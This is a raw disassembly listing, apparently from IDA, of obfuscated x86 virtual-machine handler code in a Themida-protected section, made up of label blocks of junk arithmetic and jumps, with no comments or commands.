loc_552F29: ; CODE XREF: Themida_:005544C8j
inc bl
dec bl
inc bl
sub bl, 7Ch
xor bl, cl
pop ecx
xor al, bl
pop bx
push ecx
push eax
jmp loc_5535B7
; ---------------------------------------------------------------------------
loc_552F40: ; CODE XREF: Themida_:005577B1j
push 3D35h
mov [esp], edi
jmp loc_553629
; ---------------------------------------------------------------------------
loc_552F4D: ; CODE XREF: Themida_:0055DB4Ej
push eax
mov eax, 1EAA3FAFh
mov ebx, 60740CCCh
jmp loc_55B52F
; ---------------------------------------------------------------------------
loc_552F5D: ; CODE XREF: Themida_:0055AD5Cj
neg edi
xor edi, 3E2F493Fh
jmp loc_5528F1
; ---------------------------------------------------------------------------
loc_552F6A: ; CODE XREF: Themida_:005543EFj
pop edi
push dword ptr [esp]
pop edx
jmp loc_55B8FF
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], edx
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
push edi
mov edi, 7BCC78E4h
add edi, 4C6A546Eh
add edi, 1
dec edi
jmp loc_55336B
; ---------------------------------------------------------------------------
loc_552FAA: ; CODE XREF: Themida_:00555957j
push esi
mov esi, 7B5DD790h
add eax, esi
pop esi
xor edi, eax
mov eax, [esp]
add esp, 4
mov [edx+38h], edi
pop edi
sub [edx+38h], ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_559458
; ---------------------------------------------------------------------------
loc_552FD3: ; CODE XREF: Themida_:0055839Dj
xor esi, [esp]
jmp loc_55C350
; ---------------------------------------------------------------------------
loc_552FDB: ; CODE XREF: Themida_:00558D00j
add ecx, 38C50FC2h
add ecx, edi
sub ecx, 38C50FC2h
sub ecx, 26F86D8Eh
sub ecx, 37005268h
pop edi
shl ecx, 8
push eax
mov eax, 393C7D31h
jmp loc_5522E0
; ---------------------------------------------------------------------------
loc_553004: ; CODE XREF: Themida_:00552551j
; Themida_:00556972j
push ebx
push dword ptr [esp]
pop eax
push edx
push esp
jmp loc_55D4D1
; ---------------------------------------------------------------------------
loc_553010: ; CODE XREF: Themida_:00552E97j
xor edi, 0C36607Ah
sub edi, 7DAB5F2Ch
xor ebx, edi
pop edi
and eax, ebx
pop ebx
shr eax, 0Bh
xor ecx, eax
push esi
push eax
mov eax, ebx
mov esi, eax
jmp loc_55AE16
; ---------------------------------------------------------------------------
loc_553032: ; CODE XREF: Themida_:0055C09Bj
xchg ecx, [esp]
push dword ptr [esp]
jmp loc_55682B
; ---------------------------------------------------------------------------
loc_55303D: ; CODE XREF: Themida_:0055BFF5j
add eax, 2C174A37h
shr eax, 8
jmp loc_55A52E
; ---------------------------------------------------------------------------
loc_55304A: ; CODE XREF: Themida_:0055548Bj
mov ah, 0B5h
mov ch, ah
jmp loc_5548D1
; ---------------------------------------------------------------------------
loc_553053: ; CODE XREF: Themida_:0055DB9Fj
add dword ptr [esp+4], 4C621062h
jmp loc_558F5B
; ---------------------------------------------------------------------------
loc_553060: ; CODE XREF: Themida_:0055A4E6j
add ebx, edi
pop edi
add ebx, eax
sub esp, 4
mov [esp], esi
jmp loc_558508
; ---------------------------------------------------------------------------
loc_553070: ; CODE XREF: Themida_:005532ADj
push edi
push edx
mov edx, 2D3E4EF7h
mov edi, 28094C57h
xor edi, edx
pop edx
dec edi
add edi, 6F1964E1h
jmp loc_555949
; ---------------------------------------------------------------------------
loc_55308B: ; CODE XREF: Themida_:0055CAB4j
sub ebx, 5A11368Ch
mov eax, ebx
pop ebx
sub eax, 26CD6ED6h
add eax, ebx
add eax, 26CD6ED6h
mov ecx, [eax]
pop eax
pop ebx
jmp loc_551CB1
; ---------------------------------------------------------------------------
loc_5530A9: ; CODE XREF: Themida_:00553309j
pop ebp
jmp loc_5586FE
; ---------------------------------------------------------------------------
loc_5530AF: ; CODE XREF: Themida_:0055281Bj
popa
popf
jmp locret_558149
; ---------------------------------------------------------------------------
loc_5530B6: ; CODE XREF: Themida_:0055CF8Cj
push edx
mov dh, 4
inc dh
jmp loc_55898E
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_55433E
; ---------------------------------------------------------------------------
loc_5530C9: ; CODE XREF: Themida_:0055D41Cj
mov [esp], esi
mov esi, 4
add ebx, esi
pop esi
push edi
mov edi, 4
sub ebx, edi
pop edi
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 2
push 750Bh
mov [esp], ebp
jmp loc_55B417
; ---------------------------------------------------------------------------
loc_553101: ; CODE XREF: Themida_:00552A4Aj
add esp, 4
mov bh, 0C7h
sub bh, ah
jmp loc_55638F
; ---------------------------------------------------------------------------
loc_55310D: ; CODE XREF: Themida_:00552676j
mov ah, 0ADh
jmp loc_554F23
; ---------------------------------------------------------------------------
loc_553114: ; CODE XREF: Themida_:0055864Aj
not ebx
jmp loc_55AC51
; ---------------------------------------------------------------------------
loc_55311B: ; CODE XREF: Themida_:005533D3j
push edx
jmp loc_559CD2
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55312F: ; CODE XREF: Themida_:0055936Aj
shl ebx, 8
sub ebx, 0FD3A5B44h
jmp loc_554E5B
; ---------------------------------------------------------------------------
loc_55313D: ; CODE XREF: Themida_:0055A5F2j
pop ebp
push dword ptr [esp]
jmp loc_5554C0
; ---------------------------------------------------------------------------
loc_553146: ; CODE XREF: Themida_:00553A06j
push edi
mov edi, ebx
mov eax, edi
pop edi
jmp loc_553862
; ---------------------------------------------------------------------------
loc_553151: ; CODE XREF: Themida_:0055DC1Ej
shl cl, 5
xor cl, 3
add al, cl
pop ecx
push small 1F70h
mov [esp], cx
jmp loc_554592
; ---------------------------------------------------------------------------
loc_553167: ; CODE XREF: Themida_:005522FAj
push edi
mov edi, 7952767Eh
jmp loc_558D96
; ---------------------------------------------------------------------------
loc_553172: ; CODE XREF: Themida_:00554C35j
add ecx, 46C74AA1h
add ecx, 7D73258Bh
sub ecx, 36B37E6Ch
xchg eax, ecx
not eax
xchg eax, ecx
shl ecx, 4
sub ecx, 587B44FCh
add esi, ecx
jmp loc_55985C
; ---------------------------------------------------------------------------
loc_553198: ; CODE XREF: Themida_:00556159j
push 30DFh
mov [esp], ebx
push edi
push ecx
mov ecx, 4B807C2Ch
jmp loc_55DB15
; ---------------------------------------------------------------------------
loc_5531AC: ; CODE XREF: Themida_:0055C08Bj
mov esp, [esp]
mov fs:[edx], ax
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5531B8: ; CODE XREF: Themida_:00556869j
xchg ecx, [esp]
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
loc_5531C4: ; CODE XREF: Themida_:00555A9Aj
push ebx
jmp loc_5587FA
; ---------------------------------------------------------------------------
loc_5531CA: ; CODE XREF: Themida_:0055BDA2j
shr dl, 5
push ecx
mov cl, 1
xor dl, cl
mov ecx, [esp]
add esp, 4
sub bh, dl
mov edx, [esp]
jmp loc_556330
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5531EC: ; CODE XREF: Themida_:00554F66j
push 2
pop ecx
sub ebp, 64537AD8h
add ebp, 1EC17E61h
jmp loc_55D72B
; ---------------------------------------------------------------------------
loc_553203: ; CODE XREF: Themida_:005598EAj
pop ecx
add edx, edi
mov edi, [esp]
add esp, 4
jmp loc_5563B7
; ---------------------------------------------------------------------------
loc_553211: ; CODE XREF: Themida_:00559E2Fj
mov edx, 0
jmp loc_55294D
; ---------------------------------------------------------------------------
loc_55321B: ; CODE XREF: Themida_:0055BA44j
mov cl, 6Ch
sub cl, al
mov eax, [esp]
push 0BA7h
jmp loc_552779
; ---------------------------------------------------------------------------
loc_55322C: ; CODE XREF: Themida_:005571BEj
add edi, esi
pop esi
xor edi, [esp]
xor [esp], edi
jmp loc_55D6ED
; ---------------------------------------------------------------------------
loc_55323A: ; CODE XREF: Themida_:00559888j
add eax, 19A56159h
add eax, ebx
sub eax, 19A56159h
pop ebx
push eax
mov eax, 5CF2BC2h
push ebx
mov ebx, 18D66FDAh
jmp loc_55AA50
; ---------------------------------------------------------------------------
loc_553258: ; CODE XREF: Themida_:00551987j
mov edi, [esp]
sub esp, 4
jmp loc_558AAE
; ---------------------------------------------------------------------------
loc_553263: ; CODE XREF: Themida_:00556251j
push dword ptr [esp]
pop ebx
add esp, 4
add ebx, 4
push 175Ch
mov [esp], eax
mov eax, 2
add ebx, eax
push dword ptr [esp]
pop eax
add esp, 4
xchg ebx, [esp]
pop esp
and [esp], ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_55AE68
; ---------------------------------------------------------------------------
loc_5532A0: ; CODE XREF: Themida_:0055AC17j
and ebp, 728B65BCh
push esi
jmp loc_55552F
; ---------------------------------------------------------------------------
loc_5532AC: ; CODE XREF: Themida_:00551DBEj
pop eax
jmp loc_553070
; ---------------------------------------------------------------------------
loc_5532B2: ; CODE XREF: Themida_:00553D08j
add ebp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
jmp loc_559FAA
; ---------------------------------------------------------------------------
loc_5532C5: ; CODE XREF: Themida_:0055D5ACj
pop esp
jmp loc_551B64
; ---------------------------------------------------------------------------
loc_5532CB: ; CODE XREF: Themida_:00558EB9j
xor ebx, esi
pop esi
push ebp
mov ebp, 2663937h
or ebp, 674A5B88h
xor ebp, 65E80D1Eh
shr ebp, 5
and ebp, 486A2DD2h
push eax
push edi
mov edi, 32284F5Ah
jmp loc_5528CC
; ---------------------------------------------------------------------------
loc_5532F5: ; CODE XREF: Themida_:005562E9j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55D0C0
; ---------------------------------------------------------------------------
loc_553307: ; CODE XREF: Themida_:0055BB7Dj
xor ecx, ebp
jmp loc_5530A9
; ---------------------------------------------------------------------------
loc_55330E: ; CODE XREF: Themida_:0055C366j
xor eax, 58A57168h
not eax
sub eax, 6516DDB6h
jmp loc_557104
; ---------------------------------------------------------------------------
loc_55331F: ; CODE XREF: Themida_:00554DFCj
sub edx, 0CFB7FAh
add ebx, edx
pop edx
jmp loc_5578FC
; ---------------------------------------------------------------------------
loc_55332D: ; CODE XREF: Themida_:005554C8j
push eax
mov eax, 7154158Eh
mov edi, 429175E4h
xor edi, eax
pop eax
sub edi, 33C56068h
add ecx, edi
pop edi
xor ecx, [esp]
xor [esp], ecx
jmp loc_5561A2
; ---------------------------------------------------------------------------
loc_55334F: ; CODE XREF: Themida_:0055DB5Fj
mov esi, esp
jmp loc_55349D
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_55687F
; ---------------------------------------------------------------------------
loc_55335E: ; CODE XREF: Themida_:005572A7j
xor eax, 2A27958Ah
push eax
pop ecx
pop eax
jmp loc_558D37
; ---------------------------------------------------------------------------
loc_55336B: ; CODE XREF: Themida_:00552FA5j
or edi, 36633063h
neg edi
add edi, 0FE77FD77h
add edx, edi
pop edi
add edx, 4
jmp loc_5583F6
; ---------------------------------------------------------------------------
loc_553387: ; CODE XREF: Themida_:0055C3A5j
add edi, 9D3CE8D6h
jmp loc_554A76
; ---------------------------------------------------------------------------
loc_553392: ; CODE XREF: Themida_:005527CFj
sub edi, esi
mov esi, [esp]
jmp loc_559613
; ---------------------------------------------------------------------------
loc_55339C: ; CODE XREF: Themida_:0055AAA3j
add edx, 4
xchg edx, [esp]
pop esp
push esi
jmp loc_55C72C
; ---------------------------------------------------------------------------
loc_5533A9: ; CODE XREF: Themida_:005586AFj
shr dh, 3
jmp loc_55B736
; ---------------------------------------------------------------------------
loc_5533B1: ; CODE XREF: Themida_:00554F9Fj
push 3EC6h
jmp loc_5569A8
; ---------------------------------------------------------------------------
loc_5533BB: ; CODE XREF: Themida_:0055B578j
push dword ptr [edi+24h]
push edx
pop dword ptr [edi+24h]
jmp loc_55683E
; ---------------------------------------------------------------------------
loc_5533C7: ; CODE XREF: Themida_:0055196Fj
pop dword ptr [esp]
jmp loc_55B519
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_55311B
; ---------------------------------------------------------------------------
loc_5533D8: ; CODE XREF: Themida_:0055858Aj
add esp, 4
add eax, esi
jmp loc_55D4EC
; ---------------------------------------------------------------------------
loc_5533E5: ; CODE XREF: Themida_:00559CCDj
add esi, ebp
push ebx
mov ebx, 66DC6798h
sub esi, ebx
jmp loc_558F2E
; ---------------------------------------------------------------------------
loc_5533F4: ; CODE XREF: Themida_:0055AC4Cj
mov ecx, eax
pop eax
or esi, ecx
pop ecx
jmp loc_552E0E
; ---------------------------------------------------------------------------
loc_5533FF: ; CODE XREF: Themida_:00558E52j
shr edx, 2
neg edx
sub edx, 7E5A8B0Dh
dec edx
push esi
mov esi, 2D830CD3h
and edx, esi
pop esi
push esi
push edi
push esi
mov esi, 2EBA2028h
jmp loc_556CB1
; ---------------------------------------------------------------------------
loc_553421: ; CODE XREF: Themida_:00558674j
and dh, 0CBh
jmp loc_55C47C
; ---------------------------------------------------------------------------
loc_553429: ; CODE XREF: Themida_:00558441j
push esi
jmp loc_5529FA
; ---------------------------------------------------------------------------
loc_55342F: ; CODE XREF: Themida_:0055B5CCj
add esi, edi
pop edi
jmp loc_559FCD
; ---------------------------------------------------------------------------
loc_553437: ; CODE XREF: Themida_:0055298Ej
push 60490666h
pop ebx
push ebp
mov ebp, 3FA33096h
not ebp
shr ebp, 6
xor ebp, 6348755Fh
xor ebx, ebp
mov ebp, [esp]
add esp, 4
and ecx, ebx
push dword ptr [esp]
pop ebx
push ebx
mov ebx, esp
jmp loc_557546
; ---------------------------------------------------------------------------
loc_553467: ; CODE XREF: Themida_:00552C5Dj
sub dh, 29h
add bl, dh
mov edx, [esp]
add esp, 4
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55347D: ; CODE XREF: Themida_:00555EABj
mov ebp, ecx
mov esi, ebp
pop ebp
pop ecx
and ecx, esi
mov esi, [esp]
jmp loc_55C4F2
; ---------------------------------------------------------------------------
loc_55348D: ; CODE XREF: Themida_:0055DC73j
mov edx, 3D477808h
sub edx, 2AFF267Eh
jmp loc_551F81
; ---------------------------------------------------------------------------
loc_55349D: ; CODE XREF: Themida_:00553351j
add esi, 4
add esi, 4
jmp loc_552A9E
; ---------------------------------------------------------------------------
loc_5534AE: ; CODE XREF: Themida_:00558F61j
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop eax
jmp loc_553FA2
; ---------------------------------------------------------------------------
loc_5534C9: ; CODE XREF: Themida_:005584EDj
mov edi, 498E2B2Ch
or edi, 50A370B4h
xor edi, 13A76C4Eh
sub edx, edi
pop edi
jmp loc_551815
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
push eax
push edx
mov edx, 793E252Ah
jmp loc_55D971
; ---------------------------------------------------------------------------
loc_5534FA: ; CODE XREF: Themida_:00556683j
add esp, 4
push dword ptr [edi+eax*4]
push 4F29h
jmp loc_55C390
; ---------------------------------------------------------------------------
loc_55350D: ; CODE XREF: Themida_:0055477Ej
add esp, 4
sub dword ptr [esp+4], 0FAB22CEh
jmp loc_551A7A
; ---------------------------------------------------------------------------
loc_55351D: ; CODE XREF: Themida_:00556220j
inc dword ptr [esp]
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_553526: ; CODE XREF: Themida_:0055C949j
pop ebx
or ebx, eax
mov eax, [esp]
add esp, 4
push eax
mov eax, 754F3DBFh
or eax, 7A569C6h
jmp loc_554698
; ---------------------------------------------------------------------------
loc_553542: ; CODE XREF: Themida_:0055B333j
not edi
inc edi
add edi, 0CCB53A84h
add ecx, edi
jmp loc_559B84
; ---------------------------------------------------------------------------
loc_553552: ; CODE XREF: Themida_:00552E09j
add esp, 4
sub esp, 4
mov [esp], ecx
push 5CE22980h
pop ecx
sub ecx, 0F570CCEDh
jmp loc_559E8B
; ---------------------------------------------------------------------------
loc_553572: ; CODE XREF: Themida_:00556310j
add edi, ecx
jmp loc_5527C7
; ---------------------------------------------------------------------------
loc_553579: ; CODE XREF: Themida_:0055CEC3j
push ebp
mov ebp, 4
add edi, 0C840DD6h
jmp loc_554372
; ---------------------------------------------------------------------------
loc_55358A: ; CODE XREF: Themida_:00551F9Dj
xor edi, [esp]
jmp loc_55DC09
; ---------------------------------------------------------------------------
loc_553592: ; CODE XREF: Themida_:0055BAFAj
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
sub esp, 4
jmp loc_55194B
; ---------------------------------------------------------------------------
loc_5535AB: ; CODE XREF: Themida_:0055763Fj
mov eax, 3A5E9C7Eh
sub eax, ecx
jmp loc_552CBE
; ---------------------------------------------------------------------------
loc_5535B7: ; CODE XREF: Themida_:00552F3Bj
push ebx
push eax
mov al, 79h
add al, 0BAh
push edx
mov dh, al
mov bl, dh
pop edx
pop eax
mov ah, bl
pop ebx
mov ch, 7
xor ch, ah
jmp loc_552947
; ---------------------------------------------------------------------------
loc_5535D0: ; CODE XREF: Themida_:00554488j
dec ebx
push 71Fh
mov [esp], edx
mov edx, 65C260D4h
not edx
neg edx
jmp loc_5569F9
; ---------------------------------------------------------------------------
loc_5535E7: ; CODE XREF: Themida_:00556008j
sub bl, 15h
push eax
mov al, 0B7h
add al, 0A8h
add al, 94h
add al, 0Bh
sub ch, al
jmp loc_55C5EC
; ---------------------------------------------------------------------------
loc_5535FA: ; CODE XREF: Themida_:0055741Aj
pop ecx
add esp, 4
jmp loc_55ACCB
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5537D3
; ---------------------------------------------------------------------------
loc_55360E: ; CODE XREF: Themida_:00552051j
push 5A95h
jmp loc_55CAA2
; ---------------------------------------------------------------------------
loc_553618: ; CODE XREF: Themida_:00551E40j
pop eax
push ecx
jmp loc_55BD28
; ---------------------------------------------------------------------------
loc_55361F: ; CODE XREF: Themida_:0055CC85j
mov [esp], edx
mov dl, 9
jmp loc_556906
; ---------------------------------------------------------------------------
loc_553629: ; CODE XREF: Themida_:00552F48j
sub esp, 4
jmp loc_55ABA4
; ---------------------------------------------------------------------------
loc_553631: ; CODE XREF: Themida_:005537FBj
add esp, 2
add bl, 6Fh
sub bl, al
sub bl, 6Fh
push ecx
mov ch, 0AFh
add ch, 0CDh
sub bl, 9Ah
add bl, ch
add bl, 9Ah
mov ecx, [esp]
add esp, 4
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
jmp loc_552343
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_553669: ; CODE XREF: Themida_:005592B4j
push esi
jmp loc_5569C3
; ---------------------------------------------------------------------------
loc_55366F: ; CODE XREF: Themida_:005521F6j
add ebp, edx
jmp loc_555C06
; ---------------------------------------------------------------------------
loc_553676: ; CODE XREF: Themida_:005547F2j
push ebx
jmp loc_55CF96
; ---------------------------------------------------------------------------
loc_55367C: ; CODE XREF: Themida_:00556B88j
pop esp
add edx, 2
xchg edx, [esp]
pop esp
mov ax, [esp]
push edx
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
push esp
pop dword ptr [esp]
jmp loc_55CD17
; ---------------------------------------------------------------------------
loc_5536AD: ; CODE XREF: Themida_:005524EFj
push edx
mov edx, 4
add eax, 36386405h
add eax, edx
sub eax, 36386405h
pop edx
jmp loc_55A9F2
; ---------------------------------------------------------------------------
loc_5536C5: ; CODE XREF: Themida_:00556DF3j
dec ebp
add ebp, 0CBE69C00h
xor edx, ebp
pop ebp
mov esi, edx
mov edx, [esp]
push ebp
mov ebp, esp
jmp loc_55CDB1
; ---------------------------------------------------------------------------
loc_5536DC: ; CODE XREF: Themida_:00554F59j
sub ebx, eax
jmp loc_5587EF
; ---------------------------------------------------------------------------
loc_5536E3: ; CODE XREF: Themida_:0055917Ej
add esp, 4
push 2DBCh
mov [esp], esi
mov esi, esp
add esi, 4
push 3DEAh
jmp loc_552E9C
; ---------------------------------------------------------------------------
loc_553703: ; CODE XREF: Themida_:0055AEC4j
add bx, 1403h
push di
push esi
jmp loc_555CC1
; ---------------------------------------------------------------------------
loc_553710: ; CODE XREF: Themida_:00556872j
xor [esp], edx
xor edx, [esp]
jmp loc_556808
; ---------------------------------------------------------------------------
loc_55371B: ; CODE XREF: Themida_:00558B49j
push esp
pop edx
push esi
push edi
push esi
mov esi, 105B6C0Ch
mov edi, 105B6C10h
sub edi, esi
mov esi, [esp]
add esp, 4
mov esi, edi
pop edi
add edx, esi
mov esi, [esp]
add esp, 4
sub edx, 4
push edi
mov edi, esp
jmp loc_5577E3
; ---------------------------------------------------------------------------
loc_55374B: ; CODE XREF: Themida_:005524A3j
push ebp
not dword ptr [esp]
jmp loc_55AAA8
; ---------------------------------------------------------------------------
loc_553754: ; CODE XREF: Themida_:0055A944j
pop esp
jmp loc_55C1FE
; ---------------------------------------------------------------------------
loc_55375A: ; CODE XREF: Themida_:0055487Aj
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55375F: ; CODE XREF: Themida_:00559250j
push eax
mov eax, 7FC22BECh
push edx
mov edx, 2875402Eh
push ecx
mov ecx, 0D78ABFD2h
jmp loc_5540A5
; ---------------------------------------------------------------------------
loc_553776: ; CODE XREF: Themida_:0055D938j
push edx
jmp loc_55AD68
; ---------------------------------------------------------------------------
loc_55377C: ; CODE XREF: Themida_:00553B71j
mov ah, 35h
jmp loc_554163
; ---------------------------------------------------------------------------
loc_553783: ; CODE XREF: Themida_:0055272Bj
push esp
jmp loc_552EE9
; ---------------------------------------------------------------------------
loc_553789: ; CODE XREF: Themida_:005560F5j
pop edi
add esp, 4
or ebx, ebx
jnz loc_554691
push esi
jmp loc_55B822
; ---------------------------------------------------------------------------
loc_55379B: ; CODE XREF: Themida_:00557107j
xor edi, ecx
pop ecx
sub edi, 6CCE31D3h
add eax, edi
pop edi
push dword ptr [esp]
pop ecx
add esp, 4
push 37AEh
mov [esp], esi
jmp loc_553DAF
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push esi
jmp loc_557677
; ---------------------------------------------------------------------------
loc_5537C8: ; CODE XREF: Themida_:00552866j
inc ebx
dec ebx
push ebx
not dword ptr [esp]
jmp loc_5543FE
; ---------------------------------------------------------------------------
loc_5537D3: ; CODE XREF: Themida_:00553609j
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
push 395Fh
sub esp, 4
jmp loc_559143
; ---------------------------------------------------------------------------
loc_5537F2: ; CODE XREF: Themida_:00557BBEj
sub bl, al
sub bl, 43h
mov ax, [esp]
jmp loc_553631
; ---------------------------------------------------------------------------
loc_553800: ; CODE XREF: Themida_:0055C99Dj
push esp
push dword ptr [esp]
jmp loc_557DEF
; ---------------------------------------------------------------------------
loc_553809: ; CODE XREF: Themida_:0055DD06j
mov edi, 3ED6148Ch
not edi
jmp loc_55D2B7
; ---------------------------------------------------------------------------
loc_553815: ; CODE XREF: Themida_:0055C109j
pop edi
push edi
mov edi, 26F56ADFh
add [esp+8], edi
pop edi
sub [esp+4], ebp
push ecx
mov ecx, 26F56ADFh
sub [esp+8], ecx
pop ecx
pop ebp
jmp loc_551815
; ---------------------------------------------------------------------------
loc_553836: ; CODE XREF: Themida_:00556293j
add edx, 6B51762Bh
jmp loc_5576C2
; ---------------------------------------------------------------------------
loc_553841: ; CODE XREF: Themida_:00559AD5j
mov ecx, 0DC045D5h
add eax, ecx
mov ecx, [esp]
add esp, 4
sub edx, eax
mov eax, [esp]
add esp, 4
pop edi
jmp loc_551815
; ---------------------------------------------------------------------------
loc_553862: ; CODE XREF: Themida_:0055314Cj
mov ebp, eax
mov eax, [esp]
add esp, 4
push 69CBh
mov [esp], edx
push edi
jmp loc_55C7CB
; ---------------------------------------------------------------------------
loc_553878: ; CODE XREF: Themida_:00557933j
pop eax
mov dx, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
push edi
jmp loc_559E62
; ---------------------------------------------------------------------------
loc_55388E: ; CODE XREF: Themida_:00553A68j
dec edx
and edx, 28856A7Ch
dec edx
sub edx, 0DEEBDAD0h
xor ecx, edx
pop edx
sub ebx, ecx
jmp loc_55C5BF
; ---------------------------------------------------------------------------
loc_5538A6: ; CODE XREF: Themida_:00553F53j
xchg esi, [esp]
mov esp, [esp]
mov [esp], edx
push eax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5538B6: ; CODE XREF: Themida_:0055A6B7j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5538BB: ; CODE XREF: Themida_:00551AFAj
pop ebx
push edx
mov edx, esp
add edx, 4
jmp loc_5544B9
; ---------------------------------------------------------------------------
loc_5538CA: ; CODE XREF: Themida_:00557D8Dj
add eax, 4
xchg eax, [esp]
pop esp
loc_5538D3: ; CODE XREF: Themida_:0055D885j
push edi
jmp loc_55C0C0
; ---------------------------------------------------------------------------
loc_5538D9: ; CODE XREF: Themida_:00551E5Dj
push ebx
mov ebx, 6F0E772Fh
jmp loc_55B7C5
; ---------------------------------------------------------------------------
loc_5538E4: ; CODE XREF: Themida_:0055CA58j
sub eax, 72794B48h
push edx
mov edx, 462C021Ah
sub eax, edx
pop edx
jmp loc_558A8E
; ---------------------------------------------------------------------------
loc_5538F7: ; CODE XREF: Themida_:00551BEEj
sub edi, edx
pop edx
add edi, 251F37B2h
add edi, 562A537Ah
add edi, ecx
sub edi, 562A537Ah
push eax
mov eax, esp
add eax, 4
jmp loc_5593E5
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
mov eax, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
jmp loc_55A596
; ---------------------------------------------------------------------------
loc_553931: ; CODE XREF: Themida_:0055252Fj
sub ebp, 12670A95h
or ebp, 0C6F36BFh
shr ebp, 4
sub ebp, 0DBA8C83Dh
sub edi, ebp
pop ebp
std
mov ecx, 3E672748h
jmp loc_556D38
; ---------------------------------------------------------------------------
loc_553954: ; CODE XREF: Themida_:0055D64Dj
shr ebx, 2
and ebx, 76194234h
sub ebx, 1
jmp loc_554E79
; ---------------------------------------------------------------------------
loc_553965: ; CODE XREF: Themida_:0055B700j
mov ecx, 2
add eax, ecx
pop ecx
push eax
push dword ptr [esp+4]
pop eax
jmp loc_5588B9
; ---------------------------------------------------------------------------
loc_553978: ; CODE XREF: Themida_:0055DA1Dj
pop ebx
sub ebx, 4DB007EBh
pop edi
jmp loc_558A56
; ---------------------------------------------------------------------------
loc_553985: ; CODE XREF: Themida_:0055DD16j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55398A: ; CODE XREF: Themida_:00552B4Aj
sub ebx, 5C370BC9h
add ebx, ecx
add ebx, 5C370BC9h
pop ecx
add ebx, edx
push esi
push ebp
jmp loc_556A1C
; ---------------------------------------------------------------------------
loc_5539A2: ; CODE XREF: Themida_:005579A8j
pop ecx
jmp loc_5592B9
; ---------------------------------------------------------------------------
loc_5539A8: ; CODE XREF: Themida_:005529DCj
xchg edx, [esp]
mov esp, [esp]
imul cx, ax
push cx
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5539BA: ; CODE XREF: Themida_:0055724Cj
push edi
mov edi, 4
jmp loc_55B591
; ---------------------------------------------------------------------------
loc_5539C5: ; CODE XREF: Themida_:0055B124j
push 1F6Ch
mov [esp], edx
mov dh, 74h
jmp loc_5569E0
; ---------------------------------------------------------------------------
loc_5539D4: ; CODE XREF: Themida_:00558D07j
mov ebx, [esp]
jmp loc_551E13
; ---------------------------------------------------------------------------
loc_5539DC: ; CODE XREF: Themida_:00551E0Ej
pop edi
not edi
xchg edi, esi
shl esi, 6
dec esi
xor esi, 1CB5487Bh
add ebx, esi
pop esi
add ebx, 4
xchg ebx, [esp]
pop esp
shr ecx, 0Ah
push 2CADh
mov [esp], ebp
sub esp, 4
mov [esp], eax
jmp loc_553146
; ---------------------------------------------------------------------------
loc_553A0B: ; CODE XREF: Themida_:00554C70j
push 70E7h
jmp loc_556FC3
; ---------------------------------------------------------------------------
loc_553A15: ; CODE XREF: Themida_:00556656j
pop edi
add ecx, edx
pop edx
jmp loc_555C2F
; ---------------------------------------------------------------------------
loc_553A1E: ; CODE XREF: Themida_:0055BDD5j
mov [esp], edx
mov edx, 627C7A90h
xor edi, edx
push dword ptr [esp]
pop edx
add esp, 4
mov ebp, edi
pop edi
push ebx
mov ebx, 55B21852h
not ebx
jmp loc_553FFC
; ---------------------------------------------------------------------------
push ebx
push 4D3D7D87h
pop ebx
push ebx
not dword ptr [esp]
pop ebx
dec ebx
push ecx
push eax
mov eax, 520331DDh
push eax
pop ecx
pop eax
push edx
mov edx, 589C1D6Ch
shl edx, 8
sub edx, 5BEC2F49h
jmp loc_55388E
; ---------------------------------------------------------------------------
loc_553A6D: ; CODE XREF: Themida_:0055DD73j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
jmp loc_557657
; ---------------------------------------------------------------------------
loc_553A7F: ; CODE XREF: Themida_:0055D6CAj
not ebp
inc ebp
sub ebp, 493A3CE1h
add ebp, 0B2D74E12h
sub edx, 303E7424h
add edx, ebp
add edx, 303E7424h
pop ebp
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
mul cl
movzx cx, ah
push small 4B60h
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_553AC3: ; CODE XREF: Themida_:00559F1Bj
